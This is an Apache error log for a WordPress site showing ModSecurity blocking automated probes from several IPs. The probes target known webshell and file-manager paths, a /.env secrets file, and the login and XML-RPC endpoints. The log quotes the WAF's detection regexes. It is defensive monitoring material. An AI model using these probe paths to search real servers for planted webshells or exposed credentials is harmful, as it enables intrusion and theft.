[Mon Jan 05 06:28:04.352249 2026] [:error] [pid 6680:tid 6697] [client 45.67.97.49:25171] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "agraphics.com.au"] [uri "/filemanager.php"] [unique_id "aVrpdKE58uNoazzTmx3vlAAAAQ8"]
[Mon Jan 05 06:28:05.944705 2026] [proxy_fcgi:error] [pid 5632:tid 5651] [client 45.67.97.50:27963] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:06.955972 2026] [proxy_fcgi:error] [pid 5632:tid 5667] [client 45.67.97.50:27963] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:08.126410 2026] [:error] [pid 5632:tid 5657] [client 45.67.97.50:27963] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aVrpeIN3ZWvlOh-nbt--SwAAAM0"]
[Mon Jan 05 06:28:10.112458 2026] [:error] [pid 6680:tid 6693] [client 45.67.97.50:61719] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aVrpeqE58uNoazzTmx3vngAAAQs"]
[Mon Jan 05 06:28:11.078325 2026] [proxy_fcgi:error] [pid 6680:tid 6684] [client 45.67.97.49:60417] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:11.645489 2026] [:error] [pid 6680:tid 6682] [client 45.67.97.49:60417] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aVrpe6E58uNoazzTmx3vpAAAAQA"]
[Mon Jan 05 06:28:12.585954 2026] [proxy_fcgi:error] [pid 6680:tid 6702] [client 45.67.97.49:35543] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:13.999583 2026] [proxy_fcgi:error] [pid 6680:tid 6686] [client 45.67.97.49:35543] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:15.487148 2026] [:error] [pid 6680:tid 6706] [client 45.67.97.49:35543] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aVrpf6E58uNoazzTmx3vrwAAARg"]
[Mon Jan 05 06:28:16.507031 2026] [proxy_fcgi:error] [pid 6680:tid 6699] [client 45.67.97.50:26795] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:16.952095 2026] [:error] [pid 6680:tid 6682] [client 45.67.97.50:26795] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aVrpgKE58uNoazzTmx3vsgAAAQA"]
[Mon Jan 05 06:28:18.225056 2026] [proxy_fcgi:error] [pid 6680:tid 6695] [client 45.67.97.48:48029] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:19.867107 2026] [:error] [pid 6680:tid 6686] [client 45.67.97.48:48029] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aVrpg6E58uNoazzTmx3vtwAAAQQ"]
[Mon Jan 05 06:28:21.823092 2026] [:error] [pid 6680:tid 6703] [client 45.67.97.49:23995] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aVrphaE58uNoazzTmx3vwQAAARU"]
[Mon Jan 05 06:28:23.352579 2026] [proxy_fcgi:error] [pid 6680:tid 6706] [client 45.67.97.47:55907] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:23.833954 2026] [proxy_fcgi:error] [pid 6680:tid 6699] [client 45.67.97.47:55907] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:24.910358 2026] [:error] [pid 6680:tid 6701] [client 45.67.97.47:55907] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aVrpiKE58uNoazzTmx3vzAAAARM"]
[Mon Jan 05 06:28:26.471797 2026] [:error] [pid 5632:tid 5652] [client 45.67.97.50:26141] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aVrpioN3ZWvlOh-nbt--ZQAAAMg"]
[Mon Jan 05 06:28:28.054724 2026] [:error] [pid 5534:tid 5555] [client 45.67.97.47:40431] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aVrpjJNs9XmbR6unB0zFmwAAAAw"]
[Mon Jan 05 06:28:29.143333 2026] [:error] [pid 5535:tid 5590] [client 45.67.97.50:24471] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aVrpjWnkedMjhVX0PTWZJQAAAFQ"]
[Mon Jan 05 06:28:30.470855 2026] [:error] [pid 6680:tid 6705] [client 45.67.97.49:58333] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aVrpjqE58uNoazzTmx3v0gAAARc"]
[Mon Jan 05 06:28:33.517921 2026] [proxy_fcgi:error] [pid 6680:tid 6704] [client 45.67.97.48:22863] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:34.126866 2026] [:error] [pid 6680:tid 6683] [client 45.67.97.48:22863] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aVrpkqE58uNoazzTmx3v3wAAAQE"]
[Mon Jan 05 06:28:35.286664 2026] [:error] [pid 5535:tid 5587] [client 45.67.97.48:36063] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aVrpk2nkedMjhVX0PTWZJgAAAFE"]
[Mon Jan 05 06:28:36.542764 2026] [:error] [pid 6680:tid 6699] [client 45.67.97.50:46769] [client 45.67.97.50] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aVrplKE58uNoazzTmx3v5AAAARE"]
[Mon Jan 05 06:28:39.046781 2026] [proxy_fcgi:error] [pid 5535:tid 5578] [client 45.67.97.48:49827] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:40.085740 2026] [proxy_fcgi:error] [pid 5535:tid 5590] [client 45.67.97.48:49827] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:40.592596 2026] [proxy_fcgi:error] [pid 5535:tid 5585] [client 45.67.97.48:49827] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:42.116920 2026] [:error] [pid 5535:tid 5583] [client 45.67.97.48:49827] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aVrpmmnkedMjhVX0PTWZOAAAAE0"]
[Mon Jan 05 06:28:45.035995 2026] [:error] [pid 6680:tid 6694] [client 45.67.97.47:51369] [client 45.67.97.47] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.47, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aVrpnaE58uNoazzTmx3v6gAAAQw"]
[Mon Jan 05 06:28:45.721558 2026] [proxy_fcgi:error] [pid 6680:tid 6696] [client 45.67.97.47:51369] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:48.785139 2026] [proxy_fcgi:error] [pid 6680:tid 6703] [client 45.67.97.47:51369] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:49.290365 2026] [proxy_fcgi:error] [pid 6680:tid 6704] [client 45.67.97.47:51369] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:52.160014 2026] [:error] [pid 6680:tid 6695] [client 45.67.97.47:51369] [client 45.67.97.47] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aVrppKE58uNoazzTmx3wAgAAAQ0"]
[Mon Jan 05 06:28:53.739852 2026] [proxy_fcgi:error] [pid 5632:tid 5663] [client 45.67.97.48:41527] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:54.241660 2026] [:error] [pid 5632:tid 5652] [client 45.67.97.48:41527] [client 45.67.97.48] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.67.97.48, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aVrppoN3ZWvlOh-nbt--fwAAAMg"]
[Mon Jan 05 06:28:55.273118 2026] [:error] [pid 5632:tid 5645] [client 45.67.97.48:41527] [client 45.67.97.48] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/item.php"] [unique_id "aVrpp4N3ZWvlOh-nbt--gQAAAME"]
[Mon Jan 05 06:28:56.722923 2026] [proxy_fcgi:error] [pid 5536:tid 5597] [client 45.67.97.49:24241] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:58.281141 2026] [proxy_fcgi:error] [pid 5536:tid 5612] [client 45.67.97.49:24241] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:28:59.379860 2026] [proxy_fcgi:error] [pid 5536:tid 5600] [client 45.67.97.49:24241] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 06:29:00.592229 2026] [:error] [pid 5536:tid 5621] [client 45.67.97.49:24241] [client 45.67.97.49] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/assets/husky301.php"] [unique_id "aVrprARtMZNG6xI8yDzbOQAAAJg"]
[Mon Jan 05 06:29:47.318534 2026] [:error] [pid 5536:tid 5616] [client 185.223.152.203:45285] [client 185.223.152.203] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.203, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVrp2wRtMZNG6xI8yDzbqQAAAJM"]
[Mon Jan 05 06:29:47.330143 2026] [proxy_fcgi:error] [pid 5536:tid 5616] [client 185.223.152.203:45285] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 10:14:36.880443 2026] [:error] [pid 6680:tid 6692] [client 173.212.218.148:56140] [client 173.212.218.148] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.env"] [unique_id "aVsejKE58uNoazzTmx1PxAAAAQo"]
[Mon Jan 05 12:21:03.196783 2026] [:error] [pid 54081:tid 54087] [client 210.1.98.246:43358] [client 210.1.98.246] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 210.1.98.246, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVs8L1L4jLgtF-b9w4cOdgAAAUM"]
[Mon Jan 05 12:21:03.213497 2026] [proxy_fcgi:error] [pid 54081:tid 54087] [client 210.1.98.246:43358] AH01071: Got error 'Primary script unknown'
[Mon Jan 05 17:38:01.032042 2026] [:error] [pid 5534:tid 5567] [client 94.130.222.48:64207] [client 94.130.222.48] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/userfuns.php"] [unique_id "aVuGeZNs9XmbR6unB0yHowAAABg"], referer: www.google.com
[Tue Jan 06 00:36:20.061897 2026] [proxy_fcgi:error] [pid 60510:tid 60548] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:20.185499 2026] [proxy_fcgi:error] [pid 60510:tid 60572] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:20.309567 2026] [proxy_fcgi:error] [pid 60510:tid 60549] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:20.438333 2026] [proxy_fcgi:error] [pid 60510:tid 60561] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:20.564661 2026] [proxy_fcgi:error] [pid 60510:tid 60555] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:20.688503 2026] [proxy_fcgi:error] [pid 60510:tid 60552] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:22.084918 2026] [proxy_fcgi:error] [pid 60510:tid 60565] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:22.212204 2026] [proxy_fcgi:error] [pid 60510:tid 60567] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:22.335359 2026] [proxy_fcgi:error] [pid 60510:tid 60566] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:22.846048 2026] [proxy_fcgi:error] [pid 60510:tid 60564] [client 4.190.212.213:15903] AH01071: Got error 'Primary script unknown'
[Tue Jan 06 00:36:22.967053 2026] [:error] [pid 60510:tid 60568] [client 4.190.212.213:15903] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aVvohm3HNEkuMRrTL0IC0gAAAJQ"]
[Tue Jan 06 00:36:23.959597 2026] [:error] [pid 60605:tid 60624] [client 4.190.212.213:15893] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aVvoh5GdDsTlcaRtgxQ6fQAAARE"]
[Tue Jan 06 00:36:25.220061 2026] [:error] [pid 60509:tid 60530] [client 4.190.212.213:15906] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aVvoiaBSiT1_wVwKSvQbqQAAAEk"]
[Tue Jan 06 00:36:26.419815 2026] [:error] [pid 60510:tid 60561] [client 4.190.212.213:63112] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/general-template.php"] [unique_id "aVvoim3HNEkuMRrTL0IC1gAAAI0"]
[Tue Jan 06 00:36:28.284449 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:24441] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aVvojISYYRtfmMXGZCqBqQAAABM"]
[Tue Jan 06 00:36:29.469155 2026] [:error] [pid 60509:tid 60523] [client 4.190.212.213:24425] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aVvojaBSiT1_wVwKSvQbugAAAEI"]
[Tue Jan 06 00:36:30.071316 2026] [:error] [pid 60510:tid 60572] [client 4.190.212.213:63140] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aVvojm3HNEkuMRrTL0IC6AAAAJg"]
[Tue Jan 06 00:36:30.556358 2026] [:error] [pid 29187:tid 29207] [client 4.190.212.213:15874] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/load.php"] [unique_id "aVvojoSYYRtfmMXGZCqBsgAAABI"]
[Tue Jan 06 00:36:31.026328 2026] [:error] [pid 60514:tid 60596] [client 4.190.212.213:15927] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVvoj270C0kefOIBEs9UoAAAANU"]
[Tue Jan 06 00:36:31.679258 2026] [:error] [pid 60514:tid 60598] [client 4.190.212.213:63137] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVvoj270C0kefOIBEs9UpQAAANc"]
[Tue Jan 06 00:36:32.062749 2026] [:error] [pid 29187:tid 29208] [client 4.190.212.213:24393] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVvokISYYRtfmMXGZCqBvAAAABM"]
[Tue Jan 06 00:36:32.482700 2026] [:error] [pid 60510:tid 60568] [client 4.190.212.213:15924] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/4tBVafYN1Sb.php"] [unique_id "aVvokG3HNEkuMRrTL0IC9AAAAJQ"]
[Tue Jan 06 00:36:33.221536 2026] [:error] [pid 60510:tid 60549] [client 4.190.212.213:63107] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aVvokW3HNEkuMRrTL0IC-AAAAIE"]
[Tue Jan 06 00:36:33.694878 2026] [:error] [pid 60510:tid 60553] [client 4.190.212.213:24399] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aVvokW3HNEkuMRrTL0IC_AAAAIU"]
[Tue Jan 06 00:36:34.521471 2026] [:error] [pid 60509:tid 60522] [client 4.190.212.213:24444] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aVvokqBSiT1_wVwKSvQbyAAAAEE"]
[Tue Jan 06 00:36:35.461930 2026] [:error] [pid 60510:tid 60570] [client 4.190.212.213:24386] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-mails.php"] [unique_id "aVvok23HNEkuMRrTL0IDBgAAAJY"]
[Tue Jan 06 00:36:36.193972 2026] [:error] [pid 60514:tid 60577] [client 4.190.212.213:63114] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aVvolG70C0kefOIBEs9UtQAAAMI"]
[Tue Jan 06 00:36:36.585220 2026] [:error] [pid 29187:tid 29204] [client 4.190.212.213:15914] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aVvolISYYRtfmMXGZCqByAAAAA8"]
[Tue Jan 06 00:36:37.621192 2026] [:error] [pid 60510:tid 60549] [client 4.190.212.213:15896] [client 4.190.212.213] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/blox.php"] [unique_id "aVvolW3HNEkuMRrTL0IDDwAAAIE"]
